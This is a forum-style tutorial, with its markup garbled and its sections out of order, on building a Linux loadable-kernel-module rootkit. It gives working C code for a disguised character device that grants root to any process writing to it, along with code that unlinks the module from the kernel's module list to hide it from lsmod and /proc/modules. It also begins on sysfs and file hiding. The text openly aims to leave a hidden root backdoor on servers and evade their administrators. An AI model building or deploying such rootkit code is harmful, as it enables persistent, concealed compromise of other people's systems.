[color=#eeeeee][size=medium]}</code></div></div></span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After a simple test, we can find that our rootkit is no longer in procfs or sysfs, but the privilege escalation function is still normal. We have successfully completed the function of hiding the module.</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-III. File hiding</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">We mentioned earlier that we registered a character device as the interface of our user process, but no matter how well named, an unfamiliar device is still easy to be discovered by the administrator; similarly, since our rootkit needs to reside on the system for a long time, our rootkit should be loaded every time the system is turned on, which requires that our rootkit file also needs to be retained on the hard disk.</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">So next we have to complete the work of hiding related files</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">File traversal process</span></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color">The most commonly used command for traversing files in Linux is ls. We use strace to observe the system calls it uses. In addition to the system call used to load the glibc library, we will find that it calls a system call called getgetdents64:</span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>arttnba3@ubuntu:~&#36; strace ls[/size][/color][/size]<br />
[color=#eeeeee][size=medium]...[/size][/color]<br />
[color=#eeeeee][size=medium]openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3[/size][/color]<br />
[color=#eeeeee][size=medium]fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0[/size][/color]<br />
[color=#eeeeee][size=medium]getdents64(3, /* 44 entries */, 32768)  = 1408[/size][/color]<br />
[color=#eeeeee][size=medium]getdents64(3, /* 0 entries */, 32768)  = 0[/size][/color]<br />
[color=#eeeeee][size=medium]close(3) [/size][/color]<br />
[size=medium][color=#eeeeee]...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">Its code is located in the kernel source file /fs/readdir.c, as follows:</span><br />
<span style="color: #eeeeee;" class="mycode_color">[size=medium]<div class="codeblock"><div class="body" dir="ltr"><code>SYSCALL_DEFINE3(getdents64, unsigned int, fd,[/size][/color][/size]<br />
[color=#eeeeee][size=medium]struct linux_dirent64 __user *, dirent, unsigned int, count)[/size][/color]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]struct fd f;[/size][/color]<br />
[color=#eeeeee][size=medium]struct getdents_callback64 buf = {[/size][/color]<br />
[color=#eeeeee][size=medium].ctx.actor = filldir64,[/size][/color]<br />
[color=#eeeeee][size=medium].count = count,[/size][/color]<br />
[color=#eeeeee][size=medium].current_dir = dirent[/size][/color]<br />
[color=#eeeeee][size=medium]};[/size][/color]<br />
[color=#eeeeee][size=medium]int error;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]f = fdget_pos(fd);[/size][/color]<br />
[color=#eeeeee][size=medium]if (!f.file)[/size][/color]<br />
[color=#eeeeee][size=medium]return -EBADF;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]error = iterate_dir(f.file, &amp;buf.ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]if (error &gt;= 0)[/size][/color]<br />
[color=#eeeeee][size=medium]error = buf.error;[/size][/color]<br />
[color=#eeeeee][size=medium]if (buf.prev_reclen) {[/size][/color]<br />
[color=#eeeeee][size=medium]struct linux_dirent64 __user * lastdirent;[/size][/color]<br />
[color=#eeeeee][size=medium]typeof(lastdirent-&gt;d_off) d_off = buf.ctx.pos;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]lastdirent = (void __user *) buf.current_dir - buf.prev_reclen;[/size][/color]<br />
[color=#eeeeee][size=medium]if (put_user(d_off, &amp;lastdirent-&gt;d_off))[/size][/color]<br />
[color=#eeeeee][size=medium]error = -EFAULT;[/size][/color]<br />
[color=#eeeeee][size=medium]else[/size][/color]<br />
[color=#eeeeee][size=medium]error = count - buf.count;[/size][/color]<br />
[color=#eeeeee][size=medium]}[/size][/color]<br />
[color=#eeeeee][size=medium]fdput_pos(f);[/size][/color]<br />
[color=#eeeeee][size=medium]return error;[/size][/color]<br />
[size=medium][color=#eeeeee]}</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">When the ls command calls the system call, the first parameter passed in is file descriptor 3, which corresponds to ., the current directory. The fdget_pos() and fdput_pos() functions in the code are used to add/unlock files. The core operation of the system call is the iterate_dir() function, which is defined in /fs/readdir.c. By observing the code, we can find the following logic:</span><br />
<span style="color: #eeeeee;" class="mycode_color">[size=medium]<div class="codeblock"><div class="body" dir="ltr"><code>int iterate_dir(struct file *file, struct dir_context *ctx)[/size][/color][/size]<br />
[color=#eeeeee][size=medium]{[/size][/color]<br />
[color=#eeeeee][size=medium]struct inode *inode = file_inode(file);[/size][/color]<br />
[color=#eeeeee][size=medium]bool shared = false;[/size][/color]<br />
[color=#eeeeee][size=medium]int res = -ENOTDIR;[/size][/color]<br />
[color=#eeeeee][size=medium]if (file-&gt;f_op-&gt;iterate_shared)[/size][/color]<br />
[color=#eeeeee][size=medium]shared = true;[/size][/color]<br />
[color=#eeeeee][size=medium]else if (!file-&gt;f_op-&gt;iterate)[/size][/color]<br />
[color=#eeeeee][size=medium]goto out[/size][/color]<br />
[color=#eeeeee][size=medium]        [/size][/color]<br />
[color=#eeeeee][size=medium]    ...[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[color=#eeeeee][size=medium]if (!IS_DEADDIR(inode)) {[/size][/color]<br />
[color=#eeeeee][size=medium]ctx-&gt;pos = file-&gt;f_pos;[/size][/color]<br />
[color=#eeeeee][size=medium]if (shared)[/size][/color]<br />
[color=#eeeeee][size=medium]res = file-&gt;f_op-&gt;iterate_shared(file, ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]else[/size][/color]<br />
[color=#eeeeee][size=medium]res = file-&gt;f_op-&gt;iterate(file, ctx);[/size][/color]<br />
[color=#eeeeee][size=medium]file-&gt;f_pos = ctx-&gt;pos;[/size][/color]<br />
[color=#eeeeee][size=medium]fsnotify_access(file);[/size][/color]<br />
[color=#eeeeee][size=medium]file_accessed(file);[/size][/color]<br />
[color=#eeeeee][size=medium]}[/size][/color]<br />
[color=#eeeeee][size=medium]    [/size][/color]<br />
[size=medium][color=#eeeeee]...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color">[size=medium]In the Linux kernel, VFS is used to unify different file systems. The file structure is used to represent a file, and each file has a function table file_operations corresponding to the corresponding operations on the file (such as read, write). The function table is taken from the inode corresponding to the file, and finally from the specific function provided by the corresponding file system.</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here, the function pointer iterate_shared or iterate in the table will be called. Using gdb to simply debug the kernel, it can be found that iterate_shared is called in the 5.11.0 version of the kernel.</span></span>]]></description>
			<content:encoded><![CDATA[<span style="color: #e82a1f;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x00.Overview</span></span><ul class="mycode_list"><li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">"Rootkit" means "root kit". In today's context, it refers more to a kind of malware that is loaded into the kernel of the operating system as a driver. The main purpose of this kind of malware is to "reside on the computer and provide a root backdoor" - when the attacker gets the shell of a server again, he can quickly elevate the privilege to root through the rootkit.</span></span><br />
</li>
<li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">Rootkit under Linux mainly exists in the form of "loadable kernel module" (LKM). As part of the kernel, it directly provides services to the intruder with ring0 privileges; when the attacker gets the shell of a computer and elevates the privilege to root through the corresponding vulnerability, the rootkit can be left in the computer to provide a resident root backdoor for the attacker's subsequent intrusion behavior.</span></span><br />
</li>
<li><span style="color: #0074d9;" class="mycode_color"><span style="font-size: small;" class="mycode_size">However, as part of the kernel, LKM programming is kernel programming in a certain sense, which is closely related to the kernel version. Only LKM compiled with the corresponding version of the kernel source code can be loaded on the corresponding version of the kernel, which makes Linux rootkit seem a bit useless (for example, if the server administrator upgrades the kernel version one day, you will be promoted), and unlike worm viruses, it can spread freely during the service period, but it is undeniable that LKM It is still one of the more mainstream rootkit technologies under Linux.</span></span><br />
</li>
</ul>
<span style="color: #ff4136;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x01. The simplest LKM</span></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #0074d9;" class="mycode_color">The following is a basic LKM template, which registers a character device as an interface for subsequent use.</span></span><br />
<span style="font-size: medium;" class="mycode_size">rootkit.c</span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>/*<br />
[/size]<br />
[size=medium]* rootkit.ko[/size]<br />
[size=medium]* developed by arttnba3[/size]<br />
[size=medium]*/[/size]<br />
[size=medium]#include &lt;linux/module.h&gt;[/size]<br />
[size=medium]#include &lt;linux/kernel.h&gt;[/size]<br />
[size=medium]#include &lt;linux/init.h&gt;[/size]<br />
[size=medium]#include &lt;linux/fs.h&gt;[/size]<br />
[size=medium]#include &lt;linux/device.h&gt;[/size]<br />
[size=medium]#include "functions.c"[/size]<br />
<br />
[size=medium]static int __init rootkit_init(void)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    // register device[/size]<br />
[size=medium]    major_num = register_chrdev(0, DEVICE_NAME, &amp;a3_rootkit_fo);    // major number 0 for allocated by kernel[/size]<br />
[size=medium]    if(major_num &lt; 0)[/size]<br />
[size=medium]        return major_num;  // failed[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    // create device class[/size]<br />
[size=medium]    module_class = class_create(THIS_MODULE, CLASS_NAME);[/size]<br />
[size=medium]    if(IS_ERR(module_class))[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(module_class);[/size]<br />
[size=medium]    }[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    // create device inode[/size]<br />
[size=medium]    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);[/size]<br />
[size=medium]    if(IS_ERR(module_device))  // failed[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        class_destroy(module_class);[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(module_device);[/size]<br />
[size=medium]    }[/size]<br />
<br />
[size=medium]    __file = filp_open(DEVICE_PATH, O_RDONLY, 0);[/size]<br />
[size=medium]    if (IS_ERR(__file)) // failed[/size]<br />
[size=medium]    {[/size]<br />
[size=medium]        device_destroy(module_class, MKDEV(major_num, 0));[/size]<br />
[size=medium]        class_destroy(module_class);[/size]<br />
[size=medium]        unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]        return PTR_ERR(__file);[/size]<br />
[size=medium]    }[/size]<br />
[size=medium]    __inode = file_inode(__file);[/size]<br />
[size=medium]    __inode-&gt;i_mode |= 0666;[/size]<br />
[size=medium]    filp_close(__file, NULL);[/size]<br />
<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static void __exit rootkit_exit(void)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    device_destroy(module_class, MKDEV(major_num, 0));[/size]<br />
[size=medium]    class_destroy(module_class);[/size]<br />
[size=medium]    unregister_chrdev(major_num, DEVICE_NAME);[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]module_init(rootkit_init);[/size]<br />
[size=medium]module_exit(rootkit_exit);[/size]<br />
[size=medium]MODULE_LICENSE("GPL");[/size]<br />
[size=medium]MODULE_AUTHOR("arttnba3");[/size]<br />
[size=medium]MODULE_INFO(intree, "Y");</code></div></div></span><br />
<br />
<span style="font-size: medium;" class="mycode_size">functions.c</span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>#include &lt;linux/module.h&gt;<br />
[/size]<br />
[size=medium]#include &lt;linux/kernel.h&gt;[/size]<br />
[size=medium]#include &lt;linux/init.h&gt;[/size]<br />
[size=medium]#include &lt;linux/fs.h&gt;[/size]<br />
[size=medium]#include &lt;linux/device.h&gt;[/size]<br />
[size=medium]#include "rootkit.h"[/size]<br />
<br />
[size=medium]static int a3_rootkit_open(struct inode * __inode, struct file * __file)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    return 0;[/size]<br />
[size=medium]}[/size]<br />
<br />
[size=medium]static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)[/size]<br />
[size=medium]{[/size]<br />
[size=medium]    char *param;[/size]<br />
<br />
[size=medium]    param = kmalloc(size + 1, GFP_KERNEL);[/size]<br />
[size=medium]    copy_from_user(param, user_buf, size);[/size]<br />
[size=medium]    param = '&#92;0';<br />
[/size][size=medium]    if (param == '&#92;n')    // like echo 'cmd param' &gt; /dev/rootkitdev, a '&#92;n' will be appended at the end<br />
[/size][size=medium]        param = '&#92;0';<br />
<br />
    // analyze there<br />
<br />
    kfree(param);<br />
<br />
    return size;<br />
}<br />
<br />
static int a3_rootkit_release(struct inode * __inode, struct file * __file)<br />
{<br />
    printk(KERN_INFO "get info");<br />
    return 0;<br />
}<br />
<br />
static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param)<br />
{<br />
    return 0;<br />
}</code></div></div><br />
rootkit.h<br />
<div class="codeblock"><div class="body" dir="ltr"><code>#include &lt;linux/module.h&gt;<br />
<br />
#include &lt;linux/kernel.h&gt;<br />
#include &lt;linux/init.h&gt;<br />
#include &lt;linux/fs.h&gt;<br />
#include &lt;linux/device.h&gt;<br />
<br />
// a difficult-to-detect name<br />
#define DEVICE_NAME "intel_rapl_msrdv"<br />
#define CLASS_NAME "intel_rapl_msrmd"<br />
#define DEVICE_PATH "/dev/intel_rapl_msrdv"<br />
<br />
static int major_num;<br />
static struct class * module_class = NULL;<br />
static struct device * module_device = NULL;<br />
static struct file * __file = NULL;<br />
struct inode * __inode = NULL;<br />
<br />
static int __init rootkit_init(void);<br />
static void __exit rootkit_exit(void);<br />
<br />
static int a3_rootkit_open(struct inode *, struct file *);<br />
static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);<br />
static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);<br />
static int a3_rootkit_release(struct inode *, struct file *);<br />
static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);<br />
<br />
static struct file_operations a3_rootkit_fo = <br />
{<br />
.owner = THIS_MODULE,<br />
    .unlocked_ioctl = a3_rootkit_ioctl,<br />
    .open = a3_rootkit_open,<br />
    .read = a3_rootkit_read,<br />
    .write = a3_rootkit_write,<br />
    .release = a3_rootkit_release,<br />
};</code></div></div><br />
makefile<br />
<div class="codeblock"><div class="body" dir="ltr"><code># Makefile2.6<br />
<br />
obj-m += rootkit.o<br />
CURRENT_PATH := &#36;(shell pwd)<br />
LINUX_KERNEL := &#36;(shell uname -r)<br />
LINUX_KERNEL_PATH := /usr/src/linux-headers-&#36;(LINUX_KERNEL)<br />
all:<br />
make -C &#36;(LINUX_KERNEL_PATH) M=&#36;(CURRENT_PATH) modules<br />
clean:<br />
make -C &#36;(LINUX_KERNEL_PATH) M=&#36;(CURRENT_PATH) clean</code></div></div>We will use this module as a blueprint for modification.</span><br />
<br />
<span style="color: #e82a1f;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: large;" class="mycode_size">0x02. Process privilege escalation</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: small;" class="mycode_size">cred structure</span></span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: 1pt;" class="mycode_size"><span style="font-size: small;" class="mycode_size">For each process under Linux, there is a structure cred in the kernel to identify its privileges. The structure is defined in the kernel source code include/linux/cred.h as follows:</span></span></span><br />
<span style="font-size: small;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>struct cred {<br />
[/size]<br />
[size=small]atomic_t usage;[/size]<br />
[size=small]#ifdef CONFIG_DEBUG_CREDENTIALS[/size]<br />
[size=small]atomic_t subscribers; /* number of processes subscribed */[/size]<br />
[size=small]void *put_addr;[/size]<br />
[size=small]unsigned magic;[/size]<br />
[size=small]#define CRED_MAGIC 0x43736564[/size]<br />
[size=small]#define CRED_MAGIC_DEAD 0x44656144[/size]<br />
[size=small]#endif[/size]<br />
[size=small]kuid_t uid; /* real UID of the task */[/size]<br />
[size=small]kgid_t gid; /* real GID of the task */[/size]<br />
[size=small]kuid_t suid; /* saved UID of the task */[/size]<br />
[size=small]kgid_t sgid; /* saved GID of the task */[/size]<br />
[size=small]kuid_t euid; /* effective UID of the task */[/size]<br />
[size=small]kgid_t egid; /* effective GID of the task */[/size]<br />
[size=small]kuid_t fsuid; /* UID for VFS ops */[/size]<br />
[size=small]kgid_t fsgid; /* GID for VFS ops */[/size]<br />
[size=small]unsigned securebits; /* SUID-less security management */[/size]<br />
[size=small]kernel_cap_t cap_inheritable; /* caps our children can inherit */[/size]<br />
[size=small]kernel_cap_t cap_permitted; /* caps we're permitted */[/size]<br />
[size=small]kernel_cap_t cap_effective; /* caps we can actually use */[/size]<br />
[size=small]kernel_cap_t cap_bset; /* capability bounding set */[/size]<br />
[size=small]kernel_cap_t cap_ambient; /* Ambient capability set */[/size]<br />
[size=small]#ifdef CONFIG_KEYS[/size]<br />
[size=small]unsigned char jit_keyring; /* default keyring to attach requested[/size]<br />
[size=small]* keys to */[/size]<br />
[size=small]struct key *session_keyring; /* keyring inherited over fork */[/size]<br />
[size=small]struct key *process_keyring; /* keyring private to this process */[/size]<br />
[size=small]struct key *thread_keyring; /* keyring private to this thread */[/size]<br />
[size=small]struct key *request_key_auth; /* assumed request_key authority */[/size]<br />
[size=small]#endif[/size]<br />
[size=small]#ifdef CONFIG_SECURITY[/size]<br />
[size=small]void *security; /* subjective LSM security */[/size]<br />
[size=small]#endif[/size]<br />
[size=small]struct user_struct *user; /* real user ID subscription */[/size]<br />
[size=small]struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */[/size]<br />
[size=small]struct group_info *group_info; /* supplementary groups for euid/fsgid */[/size]<br />
[size=small]/* RCU deletion */[/size]<br />
[size=small]union {[/size]<br />
[size=small]int non_rcu; /* Can we skip RCU deletion? */[/size]<br />
[size=small]struct rcu_head rcu; /* RCU deletion hook */[/size]<br />
[size=small]};[/size]<br />
[size=small]} __randomize_layout;</code></div></div></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">We mainly focus on uid. A cred structure records four different user IDs of a process:</span></span><ul class="mycode_list"><li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Real user ID (real UID): identifies the user ID when a process is started</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Saved user ID (saved UID): identifies the initial effective user ID of a process</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Effective user ID (effective UID): identifies the user ID of a process when it is running. A process can change its user during operation, so the permission mechanism is also authenticated by the effective user ID</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">File system user ID (UID for VFS ops): identifies the user ID of a process when it creates a file</span></span><br />
</li>
</ul>
<span style="font-size: medium;" class="mycode_size"><br />
<span style="color: #44b8ff;" class="mycode_color">Privilege escalation:<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">The cred structure stores the effective uid of the process, so it is not difficult to imagine that if we directly rewrite the cred structure corresponding to a process, we can directly change its execution permissions.</span><br />
<span style="color: #44b8ff;" class="mycode_color">In Linux, the uid of the root user is 0. If we change the uid of a process to 0, the process will gain root privileges.</span><br />
<br />
<span style="color: #44b8ff;" class="mycode_color">Method I. Call commit_creds(prepare_kernel_cred(NULL))<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">There are two functions in kernel space, both located in kernel/cred.c:</span></span><ul class="mycode_list"><li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">struct cred* prepare_kernel_cred(struct task_struct* daemon): This function is used to copy the cred structure of a process and return a new cred structure. It should be noted that the daemon parameter should be a valid process descriptor address or NULL</span></span><br />
</li>
<li><span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">int commit_creds(struct cred *new): This function is used to apply a new cred structure to the process</span></span><br />
</li>
</ul>
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color">Looking at the source code of prepare_kernel_cred() function, the following logic is observed:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>struct cred *prepare_kernel_cred(struct task_struct *daemon)<br />
{<br />
const struct cred *old;<br />
struct cred *new;<br />
<br />
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);<br />
if (!new)<br />
return NULL;<br />
<br />
kdebug("prepare_kernel_cred() alloc %p", new);<br />
<br />
if (daemon)<br />
old = get_task_cred(daemon);<br />
else<br />
old = get_cred(&amp;init_cred);<br />
...</code></div></div><span style="color: #44b8ff;" class="mycode_color">In the prepare_kernel_cred() function, if the parameter passed in is NULL, the cred of the init process will be used as a template for copying by default, that is, a cred structure indicating root privileges can be directly obtained.<br />
</span><br />
<span style="color: #44b8ff;" class="mycode_color">Then it is not difficult to think that as long as we can execute commit_creds(prepare_kernel_cred(NULL)) in the kernel space, we can elevate the process privileges to root.</span><br />
<span style="color: #44b8ff;" class="mycode_color">Let's do a simple test: modify the write function to elevate the privileges to root when the user writes to the device:</span><br />
<div class="codeblock"><div class="body" dir="ltr"><code>static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff)<br />
{<br />
    commit_creds(prepare_kernel_cred(NULL));<br />
    return size;<br />
}</code></div></div><span style="color: #44b8ff;" class="mycode_color">A simple test shows that when we write any content to the device, we can elevate the privilege to root.</span></span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Method II. Modify the cred structure directly<br />
As mentioned earlier, the commit_creds() function is used to apply a new cred to the current process. Let's observe the corresponding logic of its source code:</span></span></span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>int commit_creds(struct cred *new)<br />
[/size]<br />
[size=medium]{[/size]<br />
[size=medium]struct task_struct *task = current;[/size]<br />
[size=medium]const struct cred *old = task-&gt;real_cred;[/size]<br />
[size=medium]    [/size]<br />
[size=medium]    ...</code></div></div></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">At the beginning of this function, the current process's task_struct is obtained directly through the macro current, and then its member real_cred is modified. Then we can also directly obtain the current process's task_struct structure through this macro in the kernel module, and then directly modify the uid in its real_cred to achieve root privilege escalation.<br />
Then our code can be modified as follows:</span></span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>//...<br />
[/size][/color]<br />
[color=#eeeeee][size=medium]    struct task_struct * task = current;[/size][/color]<br />
[color=#eeeeee][size=medium]struct cred * old = task-&gt;real_cred;[/size][/color]<br />
<br />
[color=#eeeeee][size=medium]    old-&gt;gid = old-&gt;sgid = old-&gt;egid = KGIDT_INIT(0);[/size][/color]<br />
[color=#eeeeee][size=medium]    old-&gt;uid = old-&gt;suid = old-&gt;euid = KUIDT_INIT(0);[/size][/color]<br />
[size=medium][color=#eeeeee][size=medium]//...</code></div></div></span></span>[/size]<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">It should be noted that the types of uid and gid are kuid_t and kgid_t encapsulated as structures, and should be assigned using the macros KGIDT_INIT() and KUIDT_INIT().<br />
It can be seen that when we write to the device, the privilege is elevated to root. The difference is that we only modify a few uids and gids, so the original other information will still be retained. You can also choose to modify the others here.</span></span></span><br />
<br />
<span style="color: #ff4136;" class="mycode_color"><span style="font-size: large;" class="mycode_size">0x03. Module hiding</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After we load an LKM into the kernel module, users, especially server administrators, can use the lsmod command to find the rootkit you left on the server.</span></span><br />
<span style="color: #eeeeee;" class="mycode_color"><span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit&#36; sudo insmod rootkit.ko <br />
[/size][/color]<br />
[color=#eeeeee][size=medium]Password: [/size][/color]<br />
[color=#eeeeee][size=medium]arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit&#36; lsmod | grep 'rootkit'[/size][/color]<br />
[size=medium][color=#eeeeee][size=medium]rootkit                16384  0</code></div></div></span></span>[/size]<br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Although we can change the name of the rootkit to something like "very_important_module_not_root_kit_please_donot_remove_it" to disguise it so that users can't find it through social engineering, even a "normal" name can't guarantee that it won't be discovered. Therefore, we need to make it impossible for users to directly discover our rootkit.</span></span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">PRE. Kernel modules in the kernel: module structure</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here is a brief description. In the kernel, the module structure is used to represent a kernel module (defined in /include/linux/module.h). Multiple kernel modules form a bidirectional linked list structure through the member list (kernel bidirectional linked list structure list_head, defined in /include/linux/types.h, with only next and prev pointer members).</span></span><br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">In kernel module programming, we can use the macro THIS_MODULE (defined in include/linux/export.h) or directly use its macro expansion &amp;__list_module to obtain the module structure of the current kernel module.</span></span><br />
<br />
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-I. /proc/modules information hiding</span><br />
</span><ul class="mycode_list"><li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">The command lsmod used to view modules in Linux actually reads and organizes the file /proc/modules. The content of this file comes from the module doubly linked list in the kernel. So we only need to remove the rootkit from the doubly linked list to complete the hiding in procfs.</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Students familiar with kernel programming should know that the list_del_init() function is used to perform kernel doubly linked list unlinking operations. This function is defined in /include/linux/list.h. After multiple nesting dolls are expanded, its core is mainly the conventional doubly linked list unlinking. So here we can actually write the doubly linked list unlinking work directly.</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">We also need to consider the impact of multi-threaded operations. Read the system call delete_module source code behind rmmod (located in kernel/module.c), and observe that it uses a mutex variable named module_mutex before entering the critical section. Our unlink operation will also use this mutex to ensure thread safety (after all, we are not here to cause damage directly hhh).</span></span><br />
</li>
</ul>
<span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Add the following at the end of the module initialization function:</span></span><br />
<span style="font-size: medium;" class="mycode_size"><div class="codeblock"><div class="body" dir="ltr"><code>static int __init rootkit_init(void)<br />
[/size]<br />
[size=medium]{[/size]<br />
[size=medium]...[/size]<br />
<br />
[size=medium]    // unlink from module list[/size]<br />
[size=medium]    struct list_head * list = (&amp;__this_module.list);[/size]<br />
[size=medium]mutex_lock(&amp;module_mutex);[/size]<br />
[size=medium]list-&gt;prev-&gt;next = list-&gt;next;[/size]<br />
[size=medium]list-&gt;next-&gt;prev = list-&gt;prev;[/size]<br />
[size=medium]mutex_unlock(&amp;module_mutex);[/size]<br />
[size=medium]    [/size]<br />
[size=medium]return 0;[/size]<br />
[size=medium]}</code></div></div></span><br />
<span style="font-size: medium;" class="mycode_size"><span style="color: #44b8ff;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">After remaking our rootkit and loading it into the kernel, we will find that the lsmod command can no longer find our rootkit, and there is no information about our rootkit in the /proc/modules file. At the same time, the functions provided by our rootkit are all normal.<br />
But similarly, whether loading or unloading kernel modules, we need to operate on the doubly linked list. Since our rootkit has been unlinked, we cannot unload it (but the rootkit should stay in the kernel for a long time after being loaded once)</span></span></span><br />
<br />
<span style="color: #44b8ff;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Step-II. /sys/module/ Information hiding</span><br />
</span><ul class="mycode_list"><li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Sysfs is similar to procfs, and is also a virtual file system based on RAM. Its function is to provide kernel information to user programs in the form of files, including our rootkit module information. Sysfs will dynamically read the kobject hierarchy in the kernel and generate files in the /sys/module/ directory</span></span><br />
</li>
<li><span style="color: #1e92f7;" class="mycode_color"><span style="font-size: medium;" class="mycode_size">Here is a brief introduction to kobject: Kobject is the base class of device data structure in Linux. It is a struct kobject structure in the kernel and is usually embedded in other data structures; each device has a kobject structure, and multiple kobjects are linked through a kernel bidirectional linked list; kobjects form a hierarchical structure</span></span><br />
</li>
